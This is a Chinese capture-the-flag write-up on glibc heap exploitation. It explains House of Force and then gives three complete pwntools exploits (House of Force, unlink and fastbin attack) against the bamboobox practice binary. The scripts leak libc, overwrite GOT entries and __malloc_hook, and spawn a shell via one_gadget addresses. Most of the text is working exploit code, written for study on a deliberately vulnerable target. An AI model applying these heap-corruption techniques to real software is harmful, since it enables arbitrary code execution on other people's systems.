House of force是一个堆的小利用技巧,要想利用它需要满足两个条件:

1、可以通过溢出修改 top chunk 的 size

2、分配堆的大小没有限制

通过把 top chunk 的size 改的很大,再malloc一个特定的size,使 top chunk 的位置 恰好在目标位置 -0x10 的位置上,再进行分配时,即可分配至目标地址。

那么我认为有一个需要计算的地方就是 malloc_size = target - top_chunk_addr - 0x20

 

下面拿一个例题来练习 House of force

BUUCTF hitcontraining_bamboobox

这里有三种方法可以写,注意的是用 house of force 只可以打本地,并且要在 /home/bamboobox 目录下放个 /flag,远程并没有这个目录,所以打不了

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./bamboobox')
#s = remote('node4.buuoj.cn',26854)
elf = ELF('./bamboobox')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
magic = 0x400D49

def add(length,name):
s.recvuntil('Your choice:')
s.sendline(b'2')
s.recvuntil(b'Please enter the length of item name:')
s.sendline(str(length))
s.recvuntil(b'Please enter the name of item:')
s.send(name)

def edit(index,length,name):
s.recvuntil('Your choice:')
s.sendline(b'3')
s.recvuntil(b'Please enter the index of item:')
s.sendline(str(index))
s.recvuntil(b'Please enter the length of item name:')
s.sendline(str(length))
s.recvuntil(b'Please enter the new name of the item:')
s.send(name)

def delete(index):
s.recvuntil('Your choice:')
s.sendline(b'4')
s.recvuntil(b'Please enter the index of item:')
s.sendline(str(index))

def show():
s.recvuntil('Your choice:')
s.sendline(b'1')

def exit():
s.recvuntil('Your choice:')
s.sendline(b'5')
add(0x20 ,b'aaaa') #0

payload = b'a'*0x20 + b'a'*0x8 + p64(0xffffffffffffffff)
edit(0 ,0x30 ,payload)

malloc_size = -0x40 -0x20
add(malloc_size ,b'bbbb')
add(0x10 ,p64(magic)*2)

exit()
#gdb.attach(s)

 

第二种 unlink

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./bamboobox')
#s = remote('node4.buuoj.cn',27420)
elf = ELF('./bamboobox')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
#libc = ELF('./libc-2.23.so')
magic = 0x400D49

def add(length,name):
s.recvuntil('Your choice:')
s.sendline(b'2')
s.recvuntil(b'Please enter the length of item name:')
s.sendline(str(length))
s.recvuntil(b'Please enter the name of item:')
s.send(name)

def edit(index,length,name):
s.recvuntil('Your choice:')
s.sendline(b'3')
s.recvuntil(b'Please enter the index of item:')
s.sendline(str(index))
s.recvuntil(b'Please enter the length of item name:')
s.sendline(str(length))
s.recvuntil(b'Please enter the new name of the item:')
s.send(name)

def delete(index):
s.recvuntil('Your choice:')
s.sendline(b'4')
s.recvuntil(b'Please enter the index of item:')
s.sendline(str(index))

def show():
s.recvuntil('Your choice:')
s.sendline(b'1')

add(0x10 ,b'aaaa') #0
add(0x10 ,b'bbbb') #1
add(0x60 ,b'cccc') #2
add(0x80 ,b'dddd') #3
add(0x80 ,b'eeee') #4
add(0x80 ,b'ffff') #5

payload = b'a'*0x10 + p64(0) +p64(0x91)
edit(0,0x20,payload)

delete(1)
add(0x10 ,b'gggg') #1
show()

libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 88 -0x10 -libc.sym['__malloc_hook']
system_addr = libc_base + libc.sym['system']
success('libc_base=>' + hex(libc_base))

add(0x60 ,b'hhhh') #6->2

fd = 0x6020c8 +0x30 - 0x18
bk = 0x6020c8 +0x30 - 0x10

payload = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) +p64(0x90)
edit(3,0xa0,payload)
delete(4)

payload = p64(0) + p64(0) + p64(0) + p64(elf.got['atoi'])
edit(3,0x20,payload)

edit(3,0x8,p64(system_addr))
#gdb.attach(s)
s.recvuntil(b'Your choice:')
s.sendline(b'sh')
s.interactive()

 

第三种 fastbin attack

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

s = process('./bamboobox')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
magic = 0x400D49

def add(length,name):
s.recvuntil('Your choice:')
s.sendline(b'2')
s.recvuntil(b'Please enter the length of item name:')
s.sendline(str(length))
s.recvuntil(b'Please enter the name of item:')
s.send(name)

def edit(index,length,name):
s.recvuntil('Your choice:')
s.sendline(b'3')
s.recvuntil(b'Please enter the index of item:')
s.sendline(str(index))
s.recvuntil(b'Please enter the length of item name:')
s.sendline(str(length))
s.recvuntil(b'Please enter the new name of the item:')
s.send(name)

def delete(index):
s.recvuntil('Your choice:')
s.sendline(b'4')
s.recvuntil(b'Please enter the index of item:')
s.sendline(str(index))

def show():
s.recvuntil('Your choice:')
s.sendline(b'1')

add(0x10 ,b'aaaa') #0
add(0x10 ,b'bbbb') #1
add(0x60 ,b'cccc') #2
add(0x10 ,b'dddd') #3

payload = b'a'*0x10 + p64(0) +p64(0x91)
edit(0 ,0x20 ,payload)
delete(1)

add(0x10 ,b'eeee') #1
show()

libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['__malloc_hook'] - 0x10 -88
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
onegadget = [0x45206,0x4525a,0xef9f4,0xf0897]
one_gadget = libc_base + onegadget[1]
success('libc_base=>' + hex(libc_base))

add(0x60 ,b'ffff') #4

delete(4)

payload = b'a'*0x10 +p64(0) +p64(0x71) +p64(malloc_hook-0x23) +p64(0)
edit(1 ,0x30 ,payload)

add(0x60 ,b'gggg') #4
add(0x60 ,b'h'*0xb + p64(one_gadget) + p64(realloc))
s.recvuntil(b'Your choice:')
s.sendline(b'2')
#gdb.attach(s)
s.sendline(str(0x10))

s.interactive()
'''
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

 


作者:{狒猩橙}